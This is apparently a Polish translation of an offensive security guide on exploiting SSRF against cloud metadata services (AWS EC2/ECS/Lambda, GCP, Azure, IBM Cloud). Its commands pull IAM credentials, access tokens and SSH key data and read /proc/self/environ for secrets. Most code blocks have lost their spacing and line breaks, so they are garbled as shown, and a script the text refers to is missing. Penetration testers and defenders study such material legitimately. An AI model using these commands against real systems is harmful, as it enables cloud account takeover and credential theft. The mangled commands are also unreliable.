Punkt metadanych można uzyskać z wnętrza każdej maszyny EC2 i oferuje interesujące informacje na jej temat. Jest dostępny pod adresem URL: http://169.254.169.254 (informacje o metadanych tutaj).
Istnieją 2 wersje punktu metadanych. Pierwsza pozwala na dostęp do punktu za pomocą żądań GET (więc każdy SSRF może to wykorzystać). W wersji 2, IMDSv2, musisz poprosić o token, wysyłając żądanie PUT z nagłówkiem HTTP, a następnie użyć tego tokena, aby uzyskać dostęp do metadanych z innym nagłówkiem HTTP (więc jest bardziej skomplikowane do wykorzystania z SSRF).
Zauważ, że jeśli instancja EC2 wymusza IMDSv2, zgodnie z dokumentacją, odpowiedź na żądanie PUT będzie miała limit skoków równy 1, co uniemożliwia dostęp do metadanych EC2 z kontenera wewnątrz instancji EC2.
Ponadto, IMDSv2 również zablokuje żądania pobierające token, które zawierają nagłówek X-Forwarded-For. Ma to na celu zapobieżenie dostępowi do niego z niewłaściwie skonfigurowanych odwrotnych proxy.
Możesz znaleźć informacje o punktach metadanych w dokumentacji. W poniższym skrypcie uzyskuje się z niego kilka interesujących informacji:
Zauważ aws_session_token, jest to niezbędne do działania profilu.
PACU może być użyty z odkrytymi poświadczeniami, aby dowiedzieć się o twoich uprawnieniach i spróbować je eskalować.
SSRF w AWS ECS (usługa kontenerowa) poświadczenia
ECS to logiczna grupa instancji EC2, na których możesz uruchomić aplikację bez konieczności skalowania własnej infrastruktury zarządzania klastrem, ponieważ ECS zarządza tym za ciebie. Jeśli uda ci się skompromitować usługę działającą w ECS, punkty końcowe metadanych zmieniają się.
Jeśli uzyskasz dostęp do http://169.254.170.2/v2/credentials/<GUID>, znajdziesz poświadczenia maszyny ECS. Ale najpierw musisz znaleźć <GUID>. Aby znaleźć <GUID>, musisz odczytać zmienną environAWS_CONTAINER_CREDENTIALS_RELATIVE_URI wewnątrz maszyny.
Możesz być w stanie to odczytać, wykorzystując Path Traversal do file:///proc/self/environ
Wspomniany adres http powinien dać ci AccessKey, SecretKey i token.
Zauważ, że w niektórych przypadkach będziesz mógł uzyskać dostęp do metadanych instancji EC2 z kontenera (sprawdź ograniczenia TTL IMDSv2 wspomniane wcześniej). W tych scenariuszach z kontenera możesz uzyskać dostęp zarówno do roli IAM kontenera, jak i roli IAM EC2.
SSRF dla AWS Lambda
W tym przypadku poświadczenia są przechowywane w zmiennych środowiskowych. Aby uzyskać do nich dostęp, musisz uzyskać dostęp do czegoś takiego jak file:///proc/self/environ.
Nazwainteresujących zmiennych środowiskowych to:
AWS_SESSION_TOKEN
AWS_SECRET_ACCESS_KEY
AWS_ACCES_KEY_ID
Ponadto, oprócz poświadczeń IAM, funkcje Lambda mają również dane zdarzeń, które są przekazywane do funkcji, gdy jest uruchamiana. Dane te są udostępniane funkcji za pośrednictwem interfejsu uruchomieniowego i mogą zawierać wrażliweinformacje (jak w stageVariables). W przeciwieństwie do poświadczeń IAM, dane te są dostępne przez standardowy SSRF pod http://localhost:9001/2018-06-01/runtime/invocation/next.
Zauważ, że poświadczenia lambda znajdują się w zmiennych środowiskowych. Jeśli ślad stosu kodu lambda drukuje zmienne środowiskowe, możliwe jest wykradzenie ich, wywołując błąd w aplikacji.
Aby użyć wyekstrahowanego tokena konta usługi, możesz po prostu zrobić:
# Via env varsexport CLOUDSDK_AUTH_ACCESS_TOKEN=<token>gcloudprojectslist# Via setupecho"<token>">/some/path/to/tokengcloudconfigsetauth/access_token_file/some/path/to/tokengcloudprojectslistgcloudconfigunsetauth/access_token_file
Azure VM może mieć przypisaną 1 tożsamość zarządzaną przez system oraz kilka tożsamości zarządzanych przez użytkownika. Co zasadniczo oznacza, że możesz podszywać się pod wszystkie tożsamości zarządzane przypisane do VM.
Domyślnie punkt końcowy metadanych będzie używał tożsamości przypisanej przez system (jeśli istnieje).
Niestety nie mogłem znaleźć żadnego punktu końcowego metadanych wskazującego wszystkie tożsamości, które VM ma przypisane.
Dlatego, aby znaleźć wszystkie przypisane tożsamości, możesz zrobić:
Uzyskaj przypisane tożsamości za pomocą az cli (jeśli już skompromitowałeś głównego użytkownika w dzierżawie Azure)
Uzyskaj przypisane tożsamości za pomocą domyślnej przypisanej MI w metadanych:
export API_VERSION="2021-12-13"# Get token from default MIexport TOKEN=$(curl-s-H"Metadata:true" \"http://169.254.169.254/metadata/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/" \|jq-r'.access_token')# Get needed detailsexport SUBSCRIPTION_ID=$(curl-s-H"Metadata:true" \"http://169.254.169.254/metadata/instance?api-version=$API_VERSION"|jq-r'.compute.subscriptionId')export RESOURCE_GROUP=$(curl-s-H"Metadata:true" \"http://169.254.169.254/metadata/instance?api-version=$API_VERSION"|jq-r'.compute.resourceGroupName')export VM_NAME=$(curl-s-H"Metadata:true" \"http://169.254.169.254/metadata/instance?api-version=$API_VERSION"|jq-r'.compute.name')# Try to get attached MIscurl-s-H"Authorization: Bearer $TOKEN" \"https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Compute/virtualMachines/$VM_NAME?api-version=$API_VERSION"|jq
Pobierz wszystkie zdefiniowane zarządzane tożsamości w dzierżawie i próbuj sił aby sprawdzić, czy którakolwiek z nich jest przypisana do VM:
azidentitylist
W żądaniach tokenów użyj dowolnego z parametrów object_id, client_id lub msi_res_id, aby wskazać zarządzaną tożsamość, którą chcesz użyć (docs). Jeśli żaden, zostanie użyta domyślna MI.
# Check for those env vars to know if you are in an Azure appecho $IDENTITY_HEADERecho $IDENTITY_ENDPOINT# You should also be able to find the folder:ls/opt/microsoft#and the filels/opt/microsoft/msodbcsql17# Get management tokencurl"$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01"-Hsecret:$IDENTITY_HEADER# Get graph tokencurl"$IDENTITY_ENDPOINT?resource=https://graph.azure.com/&api-version=2017-09-01"-Hsecret:$IDENTITY_HEADER# API# Get SubscriptionsURL="https://management.azure.com/subscriptions?api-version=2020-01-01"curl-H"Authorization: $TOKEN""$URL"# Get current permission on resources in the subscriptionURL="https://management.azure.com/subscriptions/<subscription-uid>/resources?api-version=2020-10-01'"curl-H"Authorization: $TOKEN""$URL"# Get permissions in a VMURL="https://management.azure.com/subscriptions/<subscription-uid>/resourceGroups/Engineering/providers/Microsoft.Compute/virtualMachines/<VM-name>/providers/Microsoft.Authorization/permissions?api-version=2015-07-01"curl-H"Authorization: $TOKEN""$URL"
# API request in powershell to management endpoint$Token ='eyJ0eX..'$URI='https://management.azure.com/subscriptions?api-version=2020-01-01'$RequestParams =@{Method ='GET'Uri = $URIHeaders =@{'Authorization'="Bearer $Token"}}(Invoke-RestMethod @RequestParams).value# API request to graph endpoint (get enterprise applications)$Token ='eyJ0eX..'$URI ='https://graph.microsoft.com/v1.0/applications'$RequestParams =@{Method ='GET'Uri = $URIHeaders =@{'Authorization'="Bearer $Token"}}(Invoke-RestMethod @RequestParams).value# Using AzureAD Powershell module witho both management and graph tokens$token ='eyJ0e..'$graphaccesstoken ='eyJ0eX..'Connect-AzAccount-AccessToken $token -GraphAccessToken $graphaccesstoken -AccountId 2e91a4f12984-46ee-2736-e32ff2039abc# Try to get current perms over resourcesGet-AzResource## The following error means that the user doesn't have permissions over any resourceGet-AzResource : 'this.Client.SubscriptionId' cannot be null.At line:1 char:1+Get-AzResource+ ~~~~~~~~~~~~~~+ CategoryInfo : CloseError: (:) [Get-AzResource],ValidationException+ FullyQualifiedErrorId :Microsoft.Azure.Commands.ResourceManager.Cmdlets.Implementation.GetAzureResourceCmdlet
IBM Cloud
Zauważ, że w IBM domyślnie metadane nie są włączone, więc możliwe, że nie będziesz mógł uzyskać do nich dostępu, nawet jeśli jesteś w maszynie wirtualnej IBM cloud
export instance_identity_token=`curl-s-XPUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01"\-H "Metadata-Flavor: ibm"\-H "Accept: application/json"\-d '{"expires_in": 3600}' |jq-r '(.access_token)'`# Get instance detailscurl-s-H"Accept: application/json"-H"Authorization: Bearer $instance_identity_token"-XGET"http://169.254.169.254/metadata/v1/instance?version=2022-03-01"|jq# Get SSH keys infocurl-s-XGET-H"Accept: application/json"-H"Authorization: Bearer $instance_identity_token""http://169.254.169.254/metadata/v1/keys?version=2022-03-01"|jq# Get SSH keys fingerprints & user datacurl-s-XGET-H"Accept: application/json"-H"Authorization: Bearer $instance_identity_token""http://169.254.169.254/metadata/v1/instance/initialization?version=2022-03-01"|jq# Get placement groupscurl-s-XGET-H"Accept: application/json"-H"Authorization: Bearer $instance_identity_token""http://169.254.169.254/metadata/v1/placement_groups?version=2022-03-01"|jq# Get IAM credentialscurl-s-XPOST-H"Accept: application/json"-H"Authorization: Bearer $instance_identity_token""http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01"|jq
Dokumentacja dotycząca usług metadanych różnych platform jest przedstawiona poniżej, podkreślając metody, za pomocą których można uzyskać dostęp do informacji konfiguracyjnych i czasowych dla instancji. Każda platforma oferuje unikalne punkty końcowe do uzyskania dostępu do swoich usług metadanych.